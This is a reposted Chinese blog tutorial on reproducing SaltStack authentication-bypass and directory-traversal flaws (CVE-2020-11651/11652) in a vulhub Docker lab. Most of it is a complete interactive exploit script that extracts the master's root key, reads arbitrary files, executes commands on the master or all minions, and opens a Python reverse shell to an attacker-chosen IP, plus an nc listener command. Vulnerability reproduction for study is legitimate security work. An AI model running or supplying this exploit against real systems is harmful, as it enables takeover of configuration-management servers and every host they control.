SaltStack 水平权限绕过漏洞(CVE-2020-11651+11652)
发布日期:2021-06-29 11:26:13
浏览次数:2
分类:技术文章
本文共 6678 字,大约阅读时间需要 22 分钟。
声明
好好学习,天天向上
漏洞描述
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。
在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。
影响范围
- SaltStack < 2019.2.4
- SaltStack < 3000.2
复现过程
使用vulhub
这里使用2019.2.3版本
/app/vulhub-master/saltstack/CVE-2020-11651
启动
docker-compose up -d
环境启动后,将会在本地监听如下端口:
- 4505/4506 这是SaltStack Master与minions通信的端口
- 8000 这是Salt的API端口
- 2222 这是容器内部的SSH服务器监听的端口
下载POC
https://github.com/dozernz/cve-2020-11651
我这用另一位大佬的POC,创建cve-2020-11651.py,内容如下,内容不需要修改,直接运行即可
# BASE https://github.com/bravery9/SaltStack-Exp# 微信公众号:台下言书# -*- coding:utf-8 -*- -from __future__ import absolute_import, print_function, unicode_literalsimport argparseimport osimport sysimport datetimeimport saltimport salt.versionimport salt.transport.clientimport salt.exceptionsDEBUG = Falsedef init_minion(master_ip, master_port): minion_config = { 'transport': 'zeromq', 'pki_dir': '/tmp', 'id': 'root', 'log_level': 'debug', 'master_ip': master_ip, 'master_port': master_port, 'auth_timeout': 5, 'auth_tries': 1, 'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port) } return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')def check_salt_version(): print("[+] Salt 版本: {}".format(salt.version.__version__)) vi = salt.version.__version_info__ if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)): return True else: return Falsedef check_connection(master_ip, master_port, channel): print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='') sys.stdout.flush() try: channel.send({'cmd': 'ping'}, timeout=2) print('\033[1;32m可以连接\033[0m') except salt.exceptions.SaltReqTimeoutError: print("\033[1;31m无法连接\033[0m") sys.exit(1)def check_CVE_2020_11651(channel): sys.stdout.flush() # try to evil try: rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3) except salt.exceptions.SaltReqTimeoutError: print("\033[1;32m不存在漏洞\033[0m") except: print("\033[1;32m未知错误\033[0m") raise else: pass finally: if rets: root_key = rets[2]['root'] print("\033[1;31m存在漏洞\033[0m") return root_key return Nonedef pwn_read_file(channel, root_key, path, master_ip): # print("[+] Attemping to read {} from {}".format(path, master_ip)) sys.stdout.flush() msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.read', 'path': path, 'saltenv': 'base', } rets = channel.send(msg, timeout=3) print(rets['data']['return'][0][path])def pwn_getshell(channel, root_key, LHOST, LPORT): msg = {"key": root_key, "cmd": "runner", 'fun': 'salt.cmd', "kwarg": { "fun": "cmd.exec_code", "lang": "python3", "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format( LHOST, LPORT) }, 'jid': '20200504042611133934', 'user': 'sudo_user', '_stamp': '2020-05-04T04:26:13.609688'} try: response = channel.send(msg, timeout=3) print("Got response for attempting master shell: " + str(response) + ". Looks promising!") return True except: print("something failed") return Falsedef pwn_exec(channel, root_key, exec_cmd, master_or_minions): if master_or_minions == "master": msg = {"key": root_key, "cmd": "runner", 'fun': 'salt.cmd', "kwarg": { "fun": "cmd.exec_code", "lang": "python3", "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd) }, 'jid': '20200504042611133934', 'user': 'sudo_user', '_stamp': '2020-05-04T04:26:13.609688'} try: response = channel.send(msg, timeout=3) print("Got response for attempting master shell: " + str(response) + ". Looks promising!") return True except: print("something failed") return False if master_or_minions == "minions": print("Sending command to all minions on master") jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow()) cmd = "/bin/sh -c '{0}'".format(exec_cmd) msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob", "user": "root", "jid": jid} try: response = channel.send(msg, timeout=3) if response == None: return True else: return False except: return False#####################################master_ip=input('目标IP:')master_port='4506'channel = init_minion(master_ip, master_port)try: root_key = check_CVE_2020_11651(channel)except: passwhile master_ip!='': print('1.测试POC 2.读取文件 3.执行命令(无回显) 4.反弹shell 5.退出') whattype=input('请选择:') if whattype=='1': check_salt_version() # 检查salt版本 check_connection(master_ip, master_port, channel) # 检查连接 root_key = check_CVE_2020_11651(channel) # 读取root key print(root_key) elif whattype=='2': path = input('读取路径:') try: pwn_read_file(channel, root_key, path, master_ip) # 读取文件 except: print('文件不存在') elif whattype=='3': print('1.master 2.minions') exectype = input('选择方式:') if exectype=='1': master_or_minions='master' elif exectype=='2': master_or_minions = 'minions' exec_cmd = input('输入命令:') pwn_exec(channel, root_key, exec_cmd, master_or_minions) # 执行命令 elif whattype=='4': LHOST = input('反弹到IP:') LPORT = input('反弹端口:') pwn_getshell(channel, root_key, LHOST, LPORT) # 反弹shell elif whattype=='5': exit()
当然,运行POC的前提,是得安装依赖包(我这破网,搞了好久)
pip3 install salt
安装后,可以直接运行
python3 cve-2020-11651.py
运行后提示让你输入IP,直接输入IP就好
然后就是个while的循环菜单,用户体验极好
测试是否存在漏洞,就根据提示选1
读取文件,就选2,然后输入文件路径
反弹shell,就选3,记录,kali中先监听,比如我想让他往我的kali,192.168.239.139上的8888反弹
kali监听8888
nc -lvvp 8888
POC中选4,输入kali的IP和端口
使用完关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose builddocker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down
转载地址:https://blog.csdn.net/zy15667076526/article/details/110718031 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!
发表评论
最新留言
初次前来,多多关照!
[***.217.46.12]2024年04月29日 17时54分34秒
关于作者
喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
idea中的一些常用快捷键
2019-04-29
js校验表单后提交表单的三种方法总结【转载】
2019-04-29
欢迎使用CSDN-markdown编辑器
2019-04-29
a标签中href调用js的几种方法
2019-04-29
jstl标签详解
2019-04-29
Eclipse中使用SVN的使用
2019-04-29
JSON.parse和eval的区别
2019-04-29
JQuery中$.ajax()方法参数详解
2019-04-29
正则表达式的数字实例
2019-04-29
【转】EasyUI 验证
2019-04-29
Django实战---商城购物车的增删改、显示和合并购物车
2019-04-29
Django项目实战----添加支付宝支付
2019-04-29
DRF框架---前言(简单使用)
2019-04-29
字符串外面是b“ “的转换 -亲测有效
2019-04-29
单通道和多通道卷积
2019-04-29
npy文件和pkl文件的保存和读取
2019-04-29
middle-判断二分图-深度优先和广度优先
2019-04-29
买卖股票的最佳时机
2019-04-29
AUC粗浅理解笔记记录
2019-04-29